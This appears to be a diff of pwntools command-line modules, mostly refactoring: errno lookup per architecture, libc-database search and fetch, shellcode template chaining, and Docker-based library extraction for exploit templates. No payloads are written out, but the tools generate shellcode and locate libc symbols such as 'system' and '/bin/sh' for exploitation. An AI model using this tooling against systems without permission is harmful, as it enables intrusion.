import argparse
import six
import string
import sys
@@ -43,15 +38,16 @@ parser.add_argument(
help = 'The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: %s' % common.choices,
)
group = parser.add_mutually_exclusive_group(required=False)
group.add_argument(
xgroup = parser.add_mutually_exclusive_group(required=False)
xgroup.add_argument(
'-l', '-o', '--offset', '--lookup',
dest = 'lookup',
type = str.encode,
metavar = 'lookup_value',
help = 'Do a lookup instead printing the alphabet',
)
group.add_argument(
xgroup.add_argument(
'count',
type=int,
nargs='?',
@@ -66,9 +62,6 @@ def main(args):
if args.lookup:
pat = args.lookup
if six.PY3:
pat = bytes(pat, encoding='utf-8')
try:
pat = int(pat, 0)
pat = pack(pat, 'all')
@@ -107,4 +100,4 @@ def main(args):
out.write(b'\n')
if __name__ == '__main__':
pwnlib.commandline.common.main(__file__)
pwnlib.commandline.common.main(__file__, main)
+1 -4
View File
@@ -1,6 +1,3 @@
from __future__ import absolute_import
from __future__ import division
import argparse
import sys
@@ -102,4 +99,4 @@ def main(args):
gdb.debug(target, gdbscript=gdbscript, sysroot=args.sysroot).interactive()
if __name__ == '__main__':
pwnlib.commandline.common.main(__file__)
pwnlib.commandline.common.main(__file__, main)
+1 -4
View File
@@ -1,6 +1,3 @@
from __future__ import absolute_import
from __future__ import division
import argparse
from pwn import *
from pwnlib.commandline import common
@@ -24,4 +21,4 @@ def main(args):
ELF(e.path)
if __name__ == '__main__':
pwnlib.commandline.common.main(__file__)
pwnlib.commandline.common.main(__file__, main)
+1 -5
View File
@@ -1,7 +1,3 @@
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import argparse
import re
import string
@@ -110,4 +106,4 @@ def main(args):
print(disasm(dat, vma=safeeval.const(args.address)))
if __name__ == '__main__':
pwnlib.commandline.common.main(__file__)
pwnlib.commandline.common.main(__file__, main)
+1 -4
View File
@@ -1,6 +1,3 @@
from __future__ import absolute_import
from __future__ import division
import shutil
from argparse import ArgumentParser
from subprocess import CalledProcessError
@@ -59,4 +56,4 @@ def main(a):
print(diff(x, y))
if __name__ == '__main__':
pwnlib.commandline.common.main(__file__)
pwnlib.commandline.common.main(__file__, main)
+1 -4
View File
@@ -1,6 +1,3 @@
from __future__ import absolute_import
from __future__ import division
import sys
import pwnlib.args
@@ -34,4 +31,4 @@ def main(a):
getattr(sys.stdout, 'buffer', sys.stdout).write(elf.get_data())
if __name__ == '__main__':
pwnlib.commandline.common.main(__file__)
pwnlib.commandline.common.main(__file__, main)
+184 -29
View File
@@ -1,9 +1,23 @@
from __future__ import absolute_import, print_function
"""Look up ``errno`` values for the architecture selected by ``-c``.
import argparse
The examples below run in the documentation doctest suite.
>>> from pwnlib.context import context
>>> from pwnlib.commandline.errno import _context_table
>>> with context.local(arch='amd64', os='linux'):
... _context_table()['ECONNRESET']
104
>>> with context.local(arch='mips', os='linux'):
... _context_table()['ECONNRESET']
131
"""
from argparse import Namespace
from typing import Generator
import os
import errno
import pwnlib.constants as constants
from pwnlib.context import context
from pwnlib.commandline import common
parser = common.parser_commands.add_parser(
@@ -13,37 +27,178 @@ parser = common.parser_commands.add_parser(
)
parser.add_argument(
'error', help='Error message or value', type=str
'error', help='Error message or value (errno number, errno name, or perror string)',
nargs='?', type=str
)
parser.add_argument(
'-l', '--list', action='store_true',
help='List every known errno (number, name, perror string).'
)
parser.add_argument(
'-s', '--search', action='store_true',
help='Treat the argument as an errno name or perror substring and print every match.'
)
parser.add_argument(
'-c', '--context',
metavar = 'context',
type = common.context_arg,
help = 'Look the errno values up for this architecture or os, e.g. `-c aarch64`.',
)
def main(args):
try:
value = int(args.error, 0)
if value < 0:
value = -value
if 0x100000000 - value < 0x200:
value = 0x100000000 - value
if value not in errno.errorcode:
print("No errno for %s" % value)
return
name = errno.errorcode[value]
except ValueError:
name = args.error.upper()
if not hasattr(errno, name):
print("No errno for %s" % name)
return
value = getattr(errno, name)
def _host_table() -> dict[str, int]:
"""Return ``{name: value}`` for every errno the host standard library knows."""
return {name: getattr(errno, name) for name in dir(errno)
if name.isupper() and isinstance(getattr(errno, name), int)}
print('#define', name, value)
print(os.strerror(value))
def _context_table() -> dict[str, int]:
"""Return ``{name: value}`` for the errno numbers ``context`` uses."""
if context.os == 'freebsd':
module = getattr(constants, 'freebsd', None)
else:
module = getattr(getattr(constants, context.os, None), context.arch, None)
if module is None:
return {}
table = {}
for name in _host_table():
value = getattr(module, name, None)
if value is not None:
table[name] = int(getattr(value, 'value', value))
return table
def _message(name: str) -> str:
"""Return the perror string of ``name`` according to the host, or ``''``."""
value = getattr(errno, name, None)
if not isinstance(value, int):
return ''
try:
return os.strerror(value)
except ValueError:
return ''
def _iter_known_errnos(table: dict[str, int]) -> Generator[tuple[int, str, str], None, None]:
"""Yield ``(value, name, message)`` tuples sorted by numeric value.
Aliases sharing a number are reported once: the canonical name from
`errno.errorcode` wins when it maps to the same value, otherwise the
first name alphabetically does.
>>> with context.local(arch='aarch64', os='linux'):
... [(value, name) for value, name, _ in _iter_known_errnos(_context_table())][:3]
[(1, 'EPERM'), (2, 'ENOENT'), (3, 'ESRCH')]
"""
# ``errno.errorcode`` is the canonical name for a number, so prefer it over the
# alphabetically first alias to keep the default listing identical to before.
canonical = {value: name for value, name in errno.errorcode.items() if table.get(name) == value}
seen = set()
for name, value in sorted(table.items(), key=lambda item: (item[1], item[0])):
if value in seen:
continue
seen.add(value)
name = canonical.get(value, name)
yield value, name, _message(name)
def _print_errno(value: int, name: str | None = None, message: str | None = None) -> None:
if name is None:
name = errno.errorcode.get(value, '')
if message is None:
message = os.strerror(value)
if name:
print('#define %s %d' % (name, value))
else:
print('#define <unknown> %d' % value)
if message:
print(message)
def _search_errnos(needle: str, table: dict[str, int]) -> list[tuple[int, str, str]]:
"""Return errnos whose name or ``strerror`` text contains ``needle``.
The match is case-insensitive, so ``pwn errno -c mips -s conn`` finds the
connection-oriented errnos even when the host cannot spell them out.
>>> with context.local(arch='mips', os='linux'):
... [(value, name) for value, name, _ in _search_errnos('econnreset', _context_table())]
[(131, 'ECONNRESET')]
"""
needle = needle.lower()
return [(v, n, m) for v, n, m in _iter_known_errnos(table)
if needle in n.lower() or needle in m.lower()]
def main(args: Namespace) -> None:
if args.context is None:
table = _host_table()
else:
table = _context_table()
if not table:
print('No errno values known for %s/%s' % (context.os, context.arch))
return
if args.list:
for value, name, message in _iter_known_errnos(table):
print('%-3d %-10s %s' % (value, name, message))
return
if args.error is None:
parser.error('the following arguments are required: error (or pass --list)')
if args.search:
matches = _search_errnos(args.error, table)
if not matches:
print("No errno matched %r" % args.error)
return
for value, name, message in matches:
_print_errno(value, name, message)
print()
return
try:
value = int(args.error, 0)
if value < 0:
value = -value
if 0x100000000 - value < 0x200:
value = 0x100000000 - value
name = next((n for n, v in sorted(table.items()) if v == value), None)
if name is None:
print("No errno for %s" % value)
return
except ValueError:
name = args.error.upper()
value = table.get(name)
if value is None:
# Fall back to a substring search against perror messages so
# ``pwn errno 'Cannot allocate memory'`` resolves to ENOMEM.
matches = _search_errnos(args.error, table)
if not matches:
print("No errno for %s" % args.error)
return
for value, name, message in matches:
_print_errno(value, name, message)
if len(matches) > 1:
print()
return
_print_errno(value, name, _message(name))
if __name__ == '__main__':
common.main(__file__)
common.main(__file__, main)
+1 -4
View File
@@ -1,6 +1,3 @@
from __future__ import absolute_import
from __future__ import division
import argparse
import sys
@@ -50,4 +47,4 @@ def main(args):
print(encoded)
if __name__ == '__main__':
common.main(__file__)
common.main(__file__, main)
+115 -74
View File
@@ -1,8 +1,4 @@
#!/usr/bin/env python
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
#!/usr/bin/env python3
import re
import shutil
import sys
@@ -37,19 +33,12 @@ lookup_parser.add_argument(
)
lookup_parser.add_argument(
'--download-libc',
'-d', '--download-libc',
action = 'store_true',
default = False,
help = 'Attempt to download the matching libc.so'
)
lookup_parser.add_argument(
'--unstrip',
action = 'store_true',
default = True,
help = 'Attempt to unstrip the libc binary with debug symbols from a debuginfod server'
)
lookup_parser.add_argument(
'--no-unstrip',
action = 'store_false',
@@ -57,6 +46,14 @@ lookup_parser.add_argument(
help = 'Do NOT attempt to unstrip the libc binary with debug symbols from a debuginfod server'
)
lookup_parser.add_argument(
'--offline-only',
action = 'store_true',
default = False,
dest = 'offline_only',
help = 'Attempt to searching with offline only mode'
)
hash_parser = libc_commands.add_parser(
'hash',
help = 'Display information of a libc version given an unique hash',
@@ -80,19 +77,12 @@ hash_parser.add_argument(
)
hash_parser.add_argument(
'--download-libc',
'-d', '--download-libc',
action = 'store_true',
default = False,
help = 'Attempt to download the matching libc.so'
)
hash_parser.add_argument(
'--unstrip',
action = 'store_true',
default = True,
help = 'Attempt to unstrip the libc binary with debug symbols from a debuginfod server'
)
hash_parser.add_argument(
'--no-unstrip',
action = 'store_false',
@@ -100,6 +90,14 @@ hash_parser.add_argument(
help = 'Do NOT attempt to unstrip the libc binary with debug symbols from a debuginfod server'
)
hash_parser.add_argument(
'--offline-only',
action = 'store_true',
default = False,
dest = 'offline_only',
help = 'Attempt to searching with offline only mode'
)
file_parser = libc_commands.add_parser(
'file',
help = 'Dump information about a libc binary',
@@ -130,25 +128,34 @@ file_parser.add_argument(
file_parser.add_argument(
'--unstrip',
action = 'store_true',
default = False,
dest = 'unstrip',
help = 'Attempt to unstrip the libc binary inplace with debug symbols from a debuginfod server'
)
fetch_parser = libc_commands.add_parser(
'fetch',
help = 'Fetch libc database',
description = 'Fetch libc database. If no argument passed, it will init and upgrade libc-database repository',
)
fetch_parser.add_argument(
'path',
nargs = '?',
default = context.local_libcdb,
help = 'Set libc-database path, If it is empty, the default path will be `context.local_libcdb` (%s)' % context.local_libcdb
)
fetch_parser.add_argument(
'-u', '--update',
metavar = 'update',
nargs = '+',
choices = ['all', 'ubuntu', 'debian', 'rpm', 'centos', 'arch', 'alpine', 'kali', 'parrotsec', 'launchpad'],
help = 'Fetch the desired libc categories'
)
common_symbols = ['dup2', 'printf', 'puts', 'read', 'system', 'write']
def find_libc(params):
import requests
url = "https://libc.rip/api/find"
result = requests.post(url, json=params, timeout=20)
log.debug('Request: %s', params)
log.debug('Result: %s', result.json())
if result.status_code != 200 or len(result.json()) == 0:
log.failure("Could not find libc for %s on libc.rip", params)
return []
return result.json()
def print_libc(libc):
def print_libc_info(libc):
log.info('%s', text.red(libc['id']))
log.indented('\t%-20s %s', text.green('BuildID:'), libc['buildid'])
log.indented('\t%-20s %s', text.green('MD5:'), libc['md5'])
@@ -158,14 +165,39 @@ def print_libc(libc):
for symbol in libc['symbols'].items():
log.indented('\t%25s = %s', symbol[0], symbol[1])
def handle_remote_libc(args, libc):
print_libc(libc)
if args.download_libc:
path = libcdb.search_by_build_id(libc['buildid'], args.unstrip)
if path:
if args.unstrip:
libcdb.unstrip_libc(path)
shutil.copy(path, './{}.so'.format(libc['id']))
def print_libc_elf(exe):
from hashlib import md5, sha1, sha256
log.info('%s', text.red(os.path.basename(exe.path)))
libc_version = get_libc_version(exe)
if libc_version:
log.indented('%-20s %s', text.green('Version:'), libc_version)
if exe.buildid:
log.indented('%-20s %s', text.green('BuildID:'), enhex(exe.buildid))
log.indented('%-20s %s', text.green('MD5:'), md5(exe.data).hexdigest())
log.indented('%-20s %s', text.green('SHA1:'), sha1(exe.data).hexdigest())
log.indented('%-20s %s', text.green('SHA256:'), sha256(exe.data).hexdigest())
# Always dump the basic list of common symbols
log.indented('%s', text.green('Symbols:'))
synthetic_symbols = collect_synthetic_symbols(exe)
symbols = common_symbols + (args.symbols or []) + synthetic_symbols
symbols.sort()
for symbol in symbols:
if symbol not in exe.symbols:
log.indented('%25s = %s', symbol, text.red('not found'))
else:
log.indented('%25s = %#x', symbol, translate_offset(exe.symbols[symbol], args, exe))
def get_libc_version(exe):
res = re.search(br'libc[ -](\d+\.\d+)', exe.data)
if res:
return res.group(1).decode()
return None
def translate_offset(offs, args, exe):
if args.offset:
@@ -182,7 +214,7 @@ def collect_synthetic_symbols(exe):
available_symbols.append('str_bin_sh')
except StopIteration:
pass
libc_start_main_return = exe.libc_start_main_return
if libc_start_main_return > 0:
exe.symbols['__libc_start_main_ret'] = libc_start_main_return
@@ -200,52 +232,61 @@ def main(args):
if len(pairs) % 2 != 0:
log.failure('Uneven number of arguments. Please provide "symbol offset" pairs')
return
symbols = {pairs[i]:pairs[i+1] for i in range(0, len(pairs), 2)}
matched_libcs = find_libc({'symbols': symbols})
matched_libcs = libcdb.search_by_symbol_offsets(symbols, offline_only=args.offline_only, return_raw=True)
if not matched_libcs:
return
for libc in matched_libcs:
handle_remote_libc(args, libc)
print_libc_info(libc)
if args.download_libc:
path = libcdb.search_by_build_id(libc['buildid'], args.unstrip)
if path:
shutil.copy(path, './{}.so'.format(libc['id']))
elif args.libc_command == 'hash':
inverted_map = {v: k for k, v in libcdb.MAP_TYPES.items()}
hash_type = inverted_map.get(args.hash_type, args.hash_type)
for hash_value in args.hash_value:
matched_libcs = find_libc({args.hash_type: hash_value})
for libc in matched_libcs:
handle_remote_libc(args, libc)
path = libcdb.search_by_hash(hash_value, hash_type, unstrip=args.unstrip, offline_only=args.offline_only)
exe = ELF(path, checksec=False)
print_libc_elf(exe)
if args.download_libc:
# if we cannot get actual libc version then copy with cache name
shutil.copy(path, './libc-{}.so'.format(get_libc_version(exe) or Path(path).stem))
elif args.libc_command == 'file':
from hashlib import md5, sha1, sha256
for file in args.files:
if not os.path.exists(file) or not os.path.isfile(file):
log.failure('File does not exist %s', args.file)
continue
if args.unstrip:
libcdb.unstrip_libc(file)
if not libcdb.unstrip_libc(file):
log.failure('Failed to unstrip libc binary %s', file)
continue
exe = ELF(file, checksec=False)
log.info('%s', text.red(os.path.basename(file)))
print_libc_elf(ELF(file, checksec=False))
libc_version = re.search(br'libc[ -](\d+\.\d+)', exe.data)
if libc_version:
log.indented('%-20s %s', text.green('Version:'), libc_version.group(1).decode())
elif args.libc_command == 'fetch':
if exe.buildid:
log.indented('%-20s %s', text.green('BuildID:'), enhex(exe.buildid))
log.indented('%-20s %s', text.green('MD5:'), md5(exe.data).hexdigest())
log.indented('%-20s %s', text.green('SHA1:'), sha1(exe.data).hexdigest())
log.indented('%-20s %s', text.green('SHA256:'), sha256(exe.data).hexdigest())
if args.update:
subprocess.check_call(['./get'] + args.update, cwd=args.path)
# Always dump the basic list of common symbols
log.indented('%s', text.green('Symbols:'))
synthetic_symbols = collect_synthetic_symbols(exe)
else:
if not Path(args.path).exists():
if yesno("Would you like to initialize the libc-database repository? "
"If the path already exists, this prompt will not display, and automatically upgrade repository."):
log.waitfor("init libc-database repository")
subprocess.check_call(['git', 'clone', 'https://github.com/niklasb/libc-database/', args.path])
else:
log.waitfor("upgrade libc-database repository")
subprocess.check_call(['git', 'pull'], cwd=args.path)
symbols = common_symbols + (args.symbols or []) + synthetic_symbols
symbols.sort()
for symbol in symbols:
if symbol not in exe.symbols:
log.indented('%25s = %s', symbol, text.red('not found'))
else:
log.indented('%25s = %#x', symbol, translate_offset(exe.symbols[symbol], args, exe))
if __name__ == '__main__':
pwnlib.commandline.common.main(__file__)
pwnlib.commandline.common.main(__file__, main)
+2 -12
View File
@@ -1,7 +1,3 @@
from __future__ import absolute_import
import sys
from pwnlib.commandline import asm
from pwnlib.commandline import checksec
from pwnlib.commandline import common
@@ -23,8 +19,7 @@ from pwnlib.commandline import template
from pwnlib.commandline import unhex
from pwnlib.commandline import update
from pwnlib.commandline import version
from pwnlib.commandline.common import parser
from pwnlib.context import context
from pwnlib.commandline.common import parser as parser
commands = {
'asm': asm.main,
@@ -50,12 +45,7 @@ commands = {
}
def main():
if len(sys.argv) < 2:
parser.print_usage()
sys.exit()
args = parser.parse_args()
with context.local(log_console = sys.stderr):
commands[args.command](args)
common.entrypoint(commands)
if __name__ == '__main__':
main()
+1 -4
View File
@@ -1,6 +1,3 @@
from __future__ import absolute_import
from __future__ import division
import argparse
import os
import signal
@@ -109,4 +106,4 @@ def main(args):
pass
if __name__ == '__main__':
pwnlib.commandline.common.main(__file__)
pwnlib.commandline.common.main(__file__, main)
+2 -5
View File
@@ -1,6 +1,3 @@
from __future__ import absolute_import
from __future__ import division
import argparse
import pwnlib.args
@@ -18,7 +15,7 @@ p = common.parser_commands.add_parser(
g = p.add_argument_group("actions")
g.add_argument('-b', '--build-id', help="Strip build ID", action='store_true')
g.add_argument('-p', '--patch', metavar='FUNCTION', help="Patch function", action='append')
p.add_argument('-o', '--output', type=argparse.FileType('wb'), default=getattr(sys.stdout, 'buffer', sys.stdout))
p.add_argument('-o', '--output', type=argparse.FileType('wb'), default=getattr(sys.stdout, 'buffer', sys.stdout), help='Output file')
p.add_argument('file', type=argparse.FileType('rb'))
def main(args):
@@ -53,4 +50,4 @@ def main(args):
args.output.write(result)
if __name__ == '__main__':
pwnlib.commandline.common.main(__file__)
pwnlib.commandline.common.main(__file__, main)
+1 -4
View File
@@ -1,6 +1,3 @@
from __future__ import absolute_import
from __future__ import division
import argparse
import sys
@@ -110,4 +107,4 @@ def main(args):
if __name__ == '__main__':
pwnlib.commandline.common.main(__file__)
pwnlib.commandline.common.main(__file__, main)
+115 -97
View File
@@ -1,9 +1,5 @@
from __future__ import absolute_import
from __future__ import division
import argparse
import os
import six
import sys
import types
@@ -12,6 +8,7 @@ pwnlib.args.free_form = False
from pwn import *
from pwnlib.commandline import common
from pwnlib.util.fiddling import hexstr
# ____ _ _ _ __ _
@@ -20,17 +17,6 @@ from pwnlib.commandline import common
# ___) | | | | __/ | | (__| | | (_| | _| |_
# |____/|_| |_|\___|_|_|\___|_| \__,_|_| \__|
def _string(s):
out = []
for co in bytearray(s):
c = chr(co)
if co >= 0x20 and co <= 0x7e and c not in '/$\'"`':
out.append(c)
else:
out.append('\\x%02x' % co)
return '"' + ''.join(out) + '"\n'
p = common.parser_commands.add_parser(
'shellcraft',
help = 'Microwave shellcode -- Easy, fast and delicious',
@@ -71,17 +57,9 @@ p.add_argument(
p.add_argument(
'shellcode',
nargs = '?',
help = 'The shellcode you want',
type = str
)
p.add_argument(
'args',
nargs = '*',
metavar = 'arg',
default = (),
help = 'Argument to the chosen shellcode',
help = 'The shellcodes you want. shellcode [args ...] [+ shellcode [args ...]]',
type = str
)
p.add_argument(
@@ -91,6 +69,12 @@ p.add_argument(
action='store_true'
)
p.add_argument(
'--delim',
help='Set the delimiter between multiple shellcodes',
default='+'
)
p.add_argument(
'-b',
'--before',
@@ -172,24 +156,50 @@ p.add_argument(
help='Generated ELF is a shared library'
)
def get_template(name):
func = shellcraft
for attr in name.split('.'):
func = getattr(func, attr)
return func
def get_template(shellcodes):
funcs = []
for shellcode in shellcodes:
func = shellcraft
cur_name = shellcode[0]
args = []
if len(shellcode) > 1:
args = shellcode[1:]
for attr in cur_name.split('.'):
func = getattr(func, attr)
funcs.append((cur_name, func, args))
return funcs
def is_not_a_syscall_template(name):
template_src = shellcraft._get_source(name)
return '/syscalls' not in template_src
def main(args):
delim = '+'
if args.delim:
delim = args.delim.strip()
shellcodes = []
if args.shellcode:
current = []
for s in args.shellcode:
if s.strip() == delim:
shellcodes.append(current)
current = []
else:
current.append(s)
if len(current) > 0:
shellcodes.append(current)
if args.list:
templates = shellcraft.templates
if args.shellcode:
templates = filter(lambda a: args.shellcode in a, templates)
template_array = []
for s in shellcodes:
template_array.extend(list(filter(lambda a: s[0] in a, templates)))
templates = template_array
elif not args.syscalls:
templates = filter(is_not_a_syscall_template, templates)
templates = list(filter(is_not_a_syscall_template, templates))
print('\n'.join(templates))
exit()
@@ -199,84 +209,92 @@ def main(args):
exit()
try:
func = get_template(args.shellcode)
funcs = get_template(shellcodes)
except AttributeError:
log.error("Unknown shellcraft template %r. Use --list to see available shellcodes." % args.shellcode)
if args.show:
# remove doctests
doc = []
in_doctest = False
block_indent = None
caption = None
lines = func.__doc__.splitlines()
i = 0
while i < len(lines):
line = lines[i]
if line.lstrip().startswith('>>>'):
# this line starts a doctest
in_doctest = True
block_indent = None
if caption:
# delete back up to the caption
doc = doc[:caption - i]
caption = None
elif line == '':
# skip blank lines
pass
elif in_doctest:
# indentation marks the end of a doctest
indent = len(line) - len(line.lstrip())
if block_indent is None:
if not line.lstrip().startswith('...'):
block_indent = indent
elif indent < block_indent:
in_doctest = False
for (name, func, _args) in funcs:
# remove doctests
doc = []
in_doctest = False
block_indent = None
caption = None
lines = func.__doc__.splitlines()
i = 0
if len(funcs) > 1:
print('%s:' % name)
while i < len(lines):
line = lines[i]
if line.lstrip().startswith('>>>'):
# this line starts a doctest
in_doctest = True
block_indent = None
# re-evalutate this line
continue
elif line.endswith(':'):
# save index of caption
caption = i
else:
# this is not blank space and we're not in a doctest, so the
# previous caption (if any) was not for a doctest
caption = None
if caption:
# delete back up to the caption
doc = doc[:caption - i]
caption = None
elif line == '':
# skip blank lines
pass
elif in_doctest:
# indentation marks the end of a doctest
indent = len(line) - len(line.lstrip())
if block_indent is None:
if not line.lstrip().startswith('...'):
block_indent = indent
elif indent < block_indent:
in_doctest = False
block_indent = None
# re-evalutate this line
continue
elif line.endswith(':'):
# save index of caption
caption = i
else:
# this is not blank space and we're not in a doctest, so the
# previous caption (if any) was not for a doctest
caption = None
if not in_doctest:
doc.append(line)
i += 1
print('\n'.join(doc).rstrip())
if not in_doctest:
doc.append(line)
i += 1
print('\n'.join(doc).rstrip())
if len(funcs) > 1:
print('')
exit()
defargs = len(six.get_function_defaults(func) or ())
reqargs = six.get_function_code(func).co_argcount - defargs
if len(args.args) < reqargs:
if defargs > 0:
log.critical('%s takes at least %d arguments' % (args.shellcode, reqargs))
sys.exit(1)
else:
log.critical('%s takes exactly %d arguments' % (args.shellcode, reqargs))
sys.exit(1)
code_array = []
for (name, func, func_args) in funcs:
defargs = len(func.__defaults__ or ())
reqargs = func.__code__.co_argcount - defargs
# Captain uglyness saves the day!
for i, val in enumerate(args.args):
try:
args.args[i] = util.safeeval.expr(val)
except ValueError:
pass
if len(func_args) < reqargs:
if defargs > 0:
log.critical('%s takes at least %d arguments' % (name, reqargs))
sys.exit(1)
else:
log.critical('%s takes exactly %d arguments' % (name, reqargs))
sys.exit(1)
# And he strikes again!
list(map(common.context_arg, args.shellcode.split('.')))
code = func(*args.args)
# Captain ugliness saves the day!
for i, val in enumerate(func_args):
try:
func_args[i] = util.safeeval.expr(val)
except ValueError:
pass
# And he strikes again!
list(map(common.context_arg, name.split('.')))
code_array.append(func(*func_args))
code = "".join(code_array)
if args.before:
code = shellcraft.trap() + code
if args.after:
code = code + shellcraft.trap()
if args.format in ['a', 'asm', 'assembly']:
if args.color:
from pygments import highlight
@@ -319,7 +337,7 @@ def main(args):
else:
args.format = 'raw'
arch = args.shellcode.split('.')[0]
arch = name.split('.')[0]
if args.debug:
if not args.avoid:
@@ -335,7 +353,7 @@ def main(args):
sys.exit(0)
if args.format in ['s', 'str', 'string']:
code = _string(code)
code = hexstr(code)
elif args.format == 'c':
code = '{' + ', '.join(map(hex, bytearray(code))) + '}' + '\n'
elif args.format in ['h', 'hex']:
@@ -343,7 +361,7 @@ def main(args):
elif args.format in ['i', 'hexii']:
code = hexii(code) + '\n'
elif args.format in ['d', 'escaped']:
code = ''.join('\\x%02x' % c for c in bytearray(code)) + '\n'
code = ''.join(fr'\x{c:02x}' for c in code) + '\n'
if not sys.stdin.isatty():
args.out.write(getattr(sys.stdin, 'buffer', sys.stdin).read())
@@ -352,4 +370,4 @@ def main(args):
args.out.write(code)
if __name__ == '__main__':
pwnlib.commandline.common.main(__file__)
pwnlib.commandline.common.main(__file__, main)
+115 -6
View File
@@ -1,8 +1,7 @@
from __future__ import absolute_import
from __future__ import division
from pwn import *
from pwnlib.commandline import common
from pwnlib.data import path as data_path
from pwnlib.util.misc import which, parse_ldd_output, write
from mako.lookup import TemplateLookup, Template
@@ -16,7 +15,7 @@ parser = common.parser_commands.add_parser(
)
# change path to hardcoded one when building the documentation
printable_data_path = "pwnlib/data" if 'sphinx' in sys.modules else pwnlib.data.path
printable_data_path = "pwnlib/data" if 'sphinx' in sys.modules else data_path
parser.add_argument('exe', nargs='?', help='Target binary. If not given, the current directory is searched for an executable binary.')
parser.add_argument('--host', help='Remote host / SSH server')
@@ -32,18 +31,113 @@ parser.add_argument('--template', help='Path to a custom template. Tries to use
os.path.join(printable_data_path, "templates", "pwnup.mako"))
parser.add_argument('--no-auto', help='Do not automatically detect missing binaries', action='store_false', dest='auto')
def get_docker_image_libraries():
"""Tries to retrieve challenge libraries from a Docker image built from the Dockerfile in the current working directory.
The libraries are retrieved by parsing the output of running ldd on /bin/sh.
Supports regular Docker images as well as jail images.
"""
with log.progress("Extracting challenge libraries from Docker image") as progress:
if not which("docker"):
progress.failure("docker command not found")
return None, None
# maps jail image name to the root directory of the child image
jail_image_to_chroot_dir = {
"pwn.red/jail": "/srv",
}
dockerfile = open("Dockerfile", "r").read()
jail = None
chroot_dir = "/"
for jail_image in jail_image_to_chroot_dir:
if re.search(r"^FROM %s" % jail_image, dockerfile, re.MULTILINE):
jail = jail_image
chroot_dir = jail_image_to_chroot_dir[jail_image]
break
try:
progress.status("Building image")
image_sha = subprocess.check_output(["docker", "build", "-q", "."], stderr=subprocess.PIPE, shell=False).decode().strip()
progress.status("Retrieving library paths")
ldd_command = ["-c", "chroot %s /bin/sh -c 'ldd /bin/sh'" % chroot_dir]
ldd_output = subprocess.check_output([
"docker",
"run",
"--rm",
"--entrypoint",
"/bin/sh",
] + (["--privileged"] if jail else []) + [
image_sha,
] + ldd_command,
stderr=subprocess.PIPE,
shell=False
).decode()
libc, ld = None, None
libc_basename, ld_basename = None, None
for lib_path in parse_ldd_output(ldd_output):
if "libc." in lib_path:
libc = lib_path
libc_basename = os.path.basename(lib_path)
if "ld-" in lib_path:
ld = lib_path
ld_basename = os.path.basename(lib_path)
if not (libc and ld):
progress.failure("Could not find libraries")
return None, None
progress.status("Copying libraries to current directory")
for filename, basename in zip((libc, ld), (libc_basename, ld_basename)):
cat_command = ["-c", "chroot %s /bin/sh -c '/bin/cat %s'" % (chroot_dir, filename)]
contents = subprocess.check_output([
"docker",
"run",
"--rm",
"--entrypoint",
"/bin/sh",
] + (["--privileged"] if jail else []) + [
image_sha
] + cat_command,
stderr=subprocess.PIPE,
shell=False
)
write(basename, contents)
except subprocess.CalledProcessError as e:
print(e.stderr.decode(), file=sys.stderr)
progress.failure("docker failed with status: %d" % e.returncode)
return None, None
progress.success("Retrieved libraries from Docker image")
return libc_basename, ld_basename
def detect_missing_binaries(args):
"""Automatically detects challenge binaries and libraries in the current directory.
This function scans the current directory for executable files, libc, and ld libraries.
If a Dockerfile is present and no libraries are found, it attempts to extract them from
the Docker image, but only if the binary is not statically linked.
Args:
args: Argument namespace containing exe and libc attributes.
Returns:
tuple: A pair of (executable_path, libc_path) where either may be None if not found.
"""
log.info("Automatically detecting challenge binaries...")
# look for challenge binary, libc, and ld in current directory
exe, libc, ld = args.exe, args.libc, None
has_dockerfile = False
other_files = []
for filename in os.listdir():
for filename in os.listdir("."):
if not os.path.isfile(filename):
continue
if not libc and ('libc-' in filename or 'libc.' in filename):
libc = filename
elif not ld and 'ld-' in filename:
ld = filename
elif filename == "Dockerfile":
has_dockerfile = True
else:
if os.access(filename, os.X_OK):
other_files.append(filename)
@@ -52,6 +146,21 @@ def detect_missing_binaries(args):
exe = other_files[0]
elif len(other_files) > 1:
log.warning("Failed to find challenge binary. There are multiple binaries in the current directory: %s", other_files)
# Check if the binary is statically linked before trying to extract libraries from Docker
is_statically_linked = False
if exe:
try:
binary = ELF(exe, checksec=False)
is_statically_linked = binary.statically_linked
if is_statically_linked:
log.info("Binary is statically linked, no need for external libraries")
except Exception as e:
log.warning("Could not check if binary is statically linked: %s", e)
# Only extract libraries from Docker if the binary is not statically linked
if has_dockerfile and exe and not (libc or ld) and not is_statically_linked:
libc, ld = get_docker_image_libraries()
if exe != args.exe:
log.success("Found challenge binary %r", exe)
@@ -122,5 +231,5 @@ def main(args):
except OSError: pass
if __name__ == '__main__':
pwnlib.commandline.common.main(__file__)
pwnlib.commandline.common.main(__file__, main)
+1 -4
View File
@@ -1,6 +1,3 @@
from __future__ import absolute_import
from __future__ import division
import argparse
import sys
from string import whitespace
@@ -30,4 +27,4 @@ def main(args):
raise
if __name__ == '__main__':
common.main(__file__)
common.main(__file__, main)
+2 -5
View File
@@ -1,7 +1,4 @@
#!/usr/bin/env python
from __future__ import absolute_import
from __future__ import division
#!/usr/bin/env python3
import subprocess
import pwnlib.args
@@ -30,4 +27,4 @@ def main(a):
subprocess.check_call(result, shell=False)
if __name__ == '__main__':
pwnlib.commandline.common.main(__file__)
pwnlib.commandline.common.main(__file__, main)
Loaded 100 of 828 files, more files were not shown because too many files have changed in this diff. Show more